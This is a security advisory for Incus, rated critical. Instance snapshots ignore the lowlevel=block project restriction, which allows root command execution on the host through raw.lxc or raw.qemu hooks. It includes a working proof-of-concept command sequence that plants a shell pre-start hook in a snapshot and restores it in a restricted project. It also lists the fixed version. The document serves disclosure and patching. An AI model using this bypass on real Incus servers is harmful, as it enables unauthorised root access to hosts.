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CRITICAL 9.9

GHSA-48q5-w887-33wv

Incus has a restricted project bypass leading to arbitrary command execution

Details

### Summary

Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.

### Details

Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.

As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.

In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.

### PoC

``` # remote, restricted incus project set rem:project restricted.true incus project set rem:project restricted.containers.lowlevel=block

# locally, unrestricted project incus init images:debian/trixie rce-raw-lxc incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"' incus snapshot create rce-raw-lxc snap0 #> allow transfer to restricted project incus config unset rce-raw-lxc raw.lxc

# locally, transfer and trigger incus move rce-raw-lxc rem: --mode push incus snapshot restore rem:rce-raw-lxc snap0 incus start rem:rce-raw-lxc ```

### Impact

- Bypass of project restrictions. - Arbitrary command execution on the Incus server.

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Affected packages

Go / github.com/lxc/incus/v7/cmd/incusd
Introduced in: 0 Fixed in: 7.2.0
Fix go get github.com/lxc/incus/v7/cmd/incusd@v7.2.0

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